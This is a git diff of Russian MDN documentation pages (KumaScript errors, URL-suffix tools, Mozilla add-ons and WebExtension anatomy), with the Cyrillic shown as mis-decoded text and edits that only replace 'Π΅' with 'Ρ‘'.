+<p><code>DocumentParsingError</code> ошибки ΠΏΠΎΡΠ²Π»ΡΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Ρƒ KumaScript Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ΠΌ Ρ‡Π΅Π³ΠΎ-Π»ΠΈΠ±ΠΎ Π² самом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. НаиболСС распространённой ΠΏΡ€ΠΈΡ‡ΠΈΠ½ΠΎΠΉ являСтся синтаксичСская ошибка Π² <a href="/ru/docs/MDN/Contribute/Structures/Macros">макросС</a>.</p>
<p>НСобходимо ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ:</p>
diff --git a/files/ru/mdn/tools/unsupported_get_api/index.html b/files/ru/mdn/tools/unsupported_get_api/index.html
index 73b9a4bb33..c7d9fb8d92 100644
--- a/files/ru/mdn/tools/unsupported_get_api/index.html
+++ b/files/ru/mdn/tools/unsupported_get_api/index.html
@@ -29,7 +29,7 @@ original_slug: MDN/Tools/URL-suffix
<dd>
<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠšΡƒΠΌΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ сводку страницы.</span></span> <span class="ChMk0b JLqJ4b"><span>Если Π½Π° страницС Π΅ΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚, ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹ΠΉ классом Β«Π‘Π²ΠΎΠ΄ΠΊΠ° SEOΒ», этот ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ возвращаСтся.</span></span> <span class="ChMk0b JLqJ4b"><span>Если Ρ‚Π°ΠΊΠΎΠ³ΠΎ содСрТания Π½Π΅Ρ‚, возвращаСтся содСрТаниС Ρ€Π°Π·Π΄Π΅Π»Π° Β«Π‘Π²ΠΎΠ΄ΠΊΠ°Β».</span></span> <span class="ChMk0b JLqJ4b"><span>Π’ ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС возвращаСтся содСрТимоС ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°.</span></span></span></p>
- <div class="note"><strong><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π£Π²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΎΠ± ошибкС</span></span></span>:</strong> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π’ настоящСС врСмя сущСствуСт ошибка, ΠΈΠ·-Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ сводный ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ вСсь Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ссли Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€.</span></span> <span class="ChMk0b JLqJ4b"><span>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ сводку ΠΈΠ· Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ³ΠΎ JSON, <a href="/ru/docs/MDN/Tools/URL-suffix#json-view">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ прСдставлСниС $ json</a>.</span></span></span></div>
+ <div class="note"><strong><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π£Π²Π΅Π΄ΠΎΠΌΠ»Π΅Π½ΠΈΠ΅ ΠΎΠ± ошибкС</span></span></span>:</strong> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π’ настоящСС врСмя сущСствуСт ошибка, ΠΈΠ·-Π·Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ сводный ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ вСсь Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Ссли Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ Π½Π΅ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€.</span></span> <span class="ChMk0b JLqJ4b"><span>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ сводку ΠΈΠ· Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ³ΠΎ JSON, <a href="/ru/docs/MDN/Tools/URL-suffix#json-view">ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ прСдставлСниС $ json</a>.</span></span></span></div>
</dd>
<dt><code>raw</code></dt>
<dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Π£ΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Kuma Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Π½ΠΎΠ΅ содСрТимоС страницы Π±Π΅Π· ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π»Π° ΠΎΠ±Π»ΠΎΠΆΠΊΠΈ, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π²Π΅Ρ€Ρ…Π½ΠΈΠ΅, Π½ΠΈΠΆΠ½ΠΈΠ΅ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Ρ‹ ΠΈ Ρ‚. Π΄.</span></span> <span class="ChMk0b JLqJ4b"><span>ΠŸΡ€ΠΈ этом Π½Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚ΡΡ ΡˆΠ°Π±Π»ΠΎΠ½Ρ‹ ΠΈΠ»ΠΈ сцСнарии, Ρ‡Ρ‚ΠΎ ΡƒΠ΄ΠΎΠ±Π½ΠΎ для Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ΠΎΠ² сборки.</span></span></span></dd>
diff --git a/files/ru/mozilla/add-ons/index.html b/files/ru/mozilla/add-ons/index.html
index 817ed815ee..a647e86282 100644
--- a/files/ru/mozilla/add-ons/index.html
+++ b/files/ru/mozilla/add-ons/index.html
@@ -19,7 +19,7 @@ translation_of: Mozilla/Add-ons
<hr>
<h2 id="Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ"><a name="Extensions">Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ</a></h2>
-<p>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊ прилоТСниям Mozilla, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ Firefox ΠΈ Thunderbird. Π‘ ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ стандартноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ способ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ управлСния Π²ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ. МоТно Π΄Π°ΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ содСрТимоС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ³ΠΎ Π²Π΅Π± прилоТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΡƒΠ΄ΠΎΠ±ΡΡ‚Π²ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ»ΠΈ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… сайтов.</p>
+<p>Π Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΊ прилоТСниям Mozilla, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊΠΈΠΌ ΠΊΠ°ΠΊ Firefox ΠΈ Thunderbird. Π‘ ΠΈΡ… ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ стандартноС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ способ ΠΎΡ€Π³Π°Π½ΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΈ управлСния Π²ΠΊΠ»Π°Π΄ΠΊΠ°ΠΌΠΈ. МоТно Π΄Π°ΠΆΠ΅ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ содСрТимоС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠ³ΠΎ Π²Π΅Π± прилоТСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ»ΡƒΡ‡ΡˆΠΈΡ‚ΡŒ ΡƒΠ΄ΠΎΠ±ΡΡ‚Π²ΠΎΒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½ΠΈΡ ΠΈΠ»ΠΈ Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… сайтов.</p>
<p>БущСствуСт 3 Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… способа сборки Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ: restartless-Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π½Π° основС Add-on SDK, restartless-Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ с Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ этого ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΠ° Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ (manually bootstrapped restartless extensions), ΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ с использованиСм Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Overlay.</p>
@@ -38,7 +38,7 @@ translation_of: Mozilla/Add-ons
<p>Π’ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΌΡ‹ Ρ€Π°Π·Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅ΠΌ систСму ΠΏΠΎΠ΄ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ WebExtensions, которая Π±ΡƒΠ΄Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΌ способом Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Firefox, эта систСма Π±ΡƒΠ΄Π΅Ρ‚ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π±ΠΎΠ»Π΅Π΅ совмСстима с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ Chrome ΠΈ Opera.</p>
<p>Π’ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ ΠΎΠ½Π° станСт Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π½ΠΎΠ²Ρ‹Ρ… ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Firefox.</p>
-Π’ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ½Π° являСтся ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ, Π½ΠΎ нСсмотря Π½Π° это Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ</a>, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΅Π΅ ΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ.</div>
+Π’ Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΎΠ½Π° являСтся ΡΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ, Π½ΠΎ нСсмотря Π½Π° это Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://developer.mozilla.org/en-US/Add-ons/WebExtensions">ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ΡŒΡΡ с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ</a>, Ссли Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π΅Ρ‘ ΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ.</div>
<p>Π“Π΄Π΅ это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, рСкомСндуСтся Π²Ρ‹Π±ΠΈΡ€Π°Ρ‚ΡŒ Add-On SDK, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π±Π΅Π· нСобходимости пСрСзапуска Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (restartless extensions), Π° Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠΏΡ€ΠΎΡ‰Π°Π΅Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ ΠΈ ΡƒΠ±ΠΈΡ€Π°Π΅Ρ‚ Π·Π° собой. Если Π’Π°ΠΌ нСдостаточно возмоТностСй ΠΊΠΎΠΌΠΏΠ»Π΅ΠΊΡ‚Π° срСдств Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Add-onΒ SDK для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Π°ΡˆΠΈΡ… ΠΈΠ΄Π΅ΠΉ, ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ restartless Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΡΡƒΡ‰Π΅ΡΡ‚Π²ΠΈΡ‚ΡŒ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. ВСхнология Overlay extensions Π² Ρ†Π΅Π»ΠΎΠΌ устарСла ΠΈ Π½Π΅ рСкомСндуСтся ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Π½ΠΎΠ²Ρ‹Ρ… Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ.</p>
@@ -87,7 +87,7 @@ translation_of: Mozilla/Add-ons
</div>
<div class="column-half">
-<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/en-US/docs/Themes">ΠΏΠΎΠ»Π½Ρ‹Ρ… Ρ‚Π΅ΠΌ</a> Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π³Π»ΡƒΠ±ΠΆΠ΅Β ΠΌΠ΅Π½ΡΡ‚ΡŒΒ UI прилоТСния. ДокумСнтация ΠΊ ΠΏΠΎΠ»Π½Ρ‹ΠΌ Ρ‚Π΅ΠΌΠ°ΠΌ устарСла, Π½ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π°Β Π·Π΄Π΅ΡΡŒ Π² качСствС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ основы для ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ.</p>
+<p>Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <a href="/en-US/docs/Themes">ΠΏΠΎΠ»Π½Ρ‹Ρ… Ρ‚Π΅ΠΌ</a> Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π³ΠΎΡ€Π°Π·Π΄ΠΎ Π³Π»ΡƒΠ±ΠΆΠ΅Β ΠΌΠ΅Π½ΡΡ‚ΡŒΒ UI прилоТСния. ДокумСнтация ΠΊ ΠΏΠΎΠ»Π½Ρ‹ΠΌ Ρ‚Π΅ΠΌΠ°ΠΌ устарСла, Π½ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π°Β Π·Π΄Π΅ΡΡŒ Π² качСствС Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΠΉ основы для ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠΉ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ.</p>
</div>
</div>
@@ -96,7 +96,7 @@ translation_of: Mozilla/Add-ons
<p><a href="/en-US/docs/Creating_OpenSearch_plugins_for_Firefox">ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹</a> ΡΠ²Π»ΡΡŽΡ‚ΡΡ простыми ΠΈ ΠΎΡ‡Π΅Π½ΡŒ спСцифичСскими типами Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ: ΠΎΠ½ΠΈ Π΄ΠΎΠ±Π°Π²Π»ΡΡŽΡ‚ Π½ΠΎΠ²Ρ‹Π΅ поисковыС систСмы для поиска Π² строкС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°.</p>
-<p><strong><a href="/en-US/docs/Plugins">ΠŸΠ»Π°Π³ΠΈΠ½Ρ‹</a> </strong>(Π½Π΅ ΠΏΡƒΡ‚Π°Ρ‚ΡŒ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ)<strong> </strong>ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ ΠΏΠΎΠ½ΡΡ‚ΡŒ содСрТаниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ встроСнной ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ. NPAPI-ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ ΠΈ Π½ΠΎΠ²Ρ‹Π΅ сайты Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π΅Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ Π½Π΅ доступны для использования Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ соврСмСнных ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… систСм, ΠΈ Π²Π΅Π±-сайты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ ΠΈΡ… использования</p>
+<p><strong><a href="/en-US/docs/Plugins">ΠŸΠ»Π°Π³ΠΈΠ½Ρ‹</a> </strong>(Π½Π΅ ΠΏΡƒΡ‚Π°Ρ‚ΡŒ с Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ ΠΈ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ)<strong> </strong>ΠΏΠΎΠΌΠΎΠ³Π°ΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ ΠΏΠΎΠ½ΡΡ‚ΡŒ содСрТаниС, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ встроСнной ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ. NPAPI-ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΡƒΡΡ‚Π°Ρ€Π΅Π²ΡˆΠ΅ΠΉ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠ΅ΠΉ ΠΈ Π½ΠΎΠ²Ρ‹Π΅ сайты Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ Π΅Ρ‘ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Как ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, Ρ‚Π°ΠΊΠΈΠ΅ ΠΏΠ»Π°Π³ΠΈΠ½Ρ‹ Π½Π΅ доступны для использования Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ соврСмСнных ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… систСм, ΠΈ Π²Π΅Π±-сайты Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ ΠΈΡ… использования</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅" style="margin-bottom: 20px; line-height: 30px; font-size: 2.14285714285714rem;">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅</h2>
diff --git a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
index cad5651a81..6d1a808d7d 100644
--- a/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
+++ b/files/ru/mozilla/add-ons/webextensions/anatomy_of_a_webextension/index.html
@@ -73,7 +73,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
<h4 id="DOM_APIs">DOM APIs</h4>
-<p>Π€ΠΎΠ½ΠΎΠ²Ρ‹Π΅ скрипты Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π² пространствС ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ страницы, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΉ. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ ΠΈΠΌ доступ ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΌΡƒ <code><a href="/en-US/docs/Web/API/Window">window</a></code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠΎ всСм Π΅Π³ΠΎ DOM APIs.</p>
+<p>Π€ΠΎΠ½ΠΎΠ²Ρ‹Π΅ скрипты Π·Π°ΠΏΡƒΡΠΊΠ°ΡŽΡ‚ΡΡ Π² пространствС ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎΠΉ страницы, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΠΎΠΉ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΉ. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ ΠΈΠΌ доступ ΠΊ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΌΡƒ <code><a href="/en-US/docs/Web/API/Window">window</a></code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠΎ всСм Π΅Π³ΠΎ DOM APIs.</p>
<h4 id="WebExtension_APIs">WebExtension APIs</h4>
@@ -101,7 +101,7 @@ translation_of: Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension
